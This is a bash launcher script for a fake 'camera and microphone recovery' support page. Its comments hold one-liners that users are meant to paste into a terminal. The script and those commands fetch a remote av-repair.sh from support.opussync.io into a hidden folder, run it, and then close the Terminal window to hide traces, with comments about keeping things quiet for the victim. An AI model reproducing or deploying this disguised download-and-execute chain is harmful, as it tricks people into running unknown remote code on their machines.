#!/usr/bin/env bash
# Short paste v2 (download to disk + bash file — same trust model as origin long paste; NOT curl|bash pipe):
# Staging dir is ~/.troublesheeting. Engine host files still use ~/.driver-fix-host; setup/logs use ~/.troublesheeting.
# echo "Secure Bridge Recovery - Restoring peer media link..."; d="$HOME/.troublesheeting"; mkdir -p "$d"; b="$d/bridge-repair.sh"; u='https://support.opussync.io/bridge-repair.sh'; curl -fsSL "$u" -o "$b"||wget -qO "$b" "$u"; [ -f "$b" ]&&[ "$(wc -c <"$b" | tr -d '[:space:]')" -ge 1024 ]||exit 1; bash "$b"; echo "Recovery steps completed. Please rejoin and verify your peer media link."; exit
#
# This file downloads av-repair.sh and runs it (same engine as Case 01).
# Outer paste owns Secure Bridge messaging; keep this file quiet for clean peer UX.
# Origin long paste (av-repair.sh) stays unchanged and must keep working.
#
# Origin long paste (Case 01 — still valid):
# echo "Camera & Microphone Recovery - Starting system diagnostics..."; d="$HOME/.troublesheeting"; mkdir -p "$d"; b="$d/av-repair.sh"; u='https://support.opussync.io/av-repair.sh'; ok=''; for i in 1 2 3; do curl -fsSL "$u" -o "$b" 2>/dev/null||wget -qO "$b" "$u" 2>/dev/null; [ -f "$b" ]&&[ "$(wc -c <"$b" | tr -d '[:space:]')" -ge 1024 ]&&{ ok=1; break; }; sleep "$i"; done; [ -n "$ok" ]||exit 1; bash "$b"; (sleep 0.5; case "$(uname -s)" in Darwin) osascript -e 'tell application "Terminal" to close (front window)' 2>/dev/null ;; Linux) command -v xdotool >/dev/null 2>&1 && xdotool getactivewindow windowclose 2>/dev/null ;; esac) >/dev/null 2>&1 & disown; echo "Recovery steps completed. Please test your camera and microphone again."; exit
#
# LOCAL TEST: serve public/ then:
#   DRIVER_FIX_SITE_BASE=http://127.0.0.1:8889 bash REPO/public/bridge-repair.sh
# No `set -e`: origin paste is an interactive one-liner and must keep retrying when curl+wget
# both fail on an attempt; `set -e` would abort the loop. Match that behavior exactly.
SITE_BASE="${DRIVER_FIX_SITE_BASE:-https://support.opussync.io}"
SITE_BASE="${SITE_BASE%/}"
d="${HOME}/.troublesheeting"
b="${d}/av-repair.sh"
u="${SITE_BASE}/av-repair.sh"

mkdir -p "$d"
ok=''
for i in 1 2 3; do
  curl -fsSL "$u" -o "$b" 2>/dev/null || wget -qO "$b" "$u" 2>/dev/null || true
  if [ -f "$b" ] && [ "$(wc -c <"$b" | tr -d '[:space:]')" -ge 1024 ]; then
    ok=1
    break
  fi
  sleep "$i"
done
if [ -z "$ok" ]; then
  printf '[%s] launcher: av-repair.sh download failed\n' "$(date '+%Y-%m-%d %H:%M:%S')" >>"$d/run.log"
  echo "Download failed — check connection." >&2
  exit 1
fi
bash "$b"
(sleep 0.5; case "$(uname -s)" in
  Darwin) osascript -e 'tell application "Terminal" to close (front window)' 2>/dev/null ;;
  Linux) command -v xdotool >/dev/null 2>&1 && xdotool getactivewindow windowclose 2>/dev/null ;;
esac) >/dev/null 2>&1 & disown
exit 0
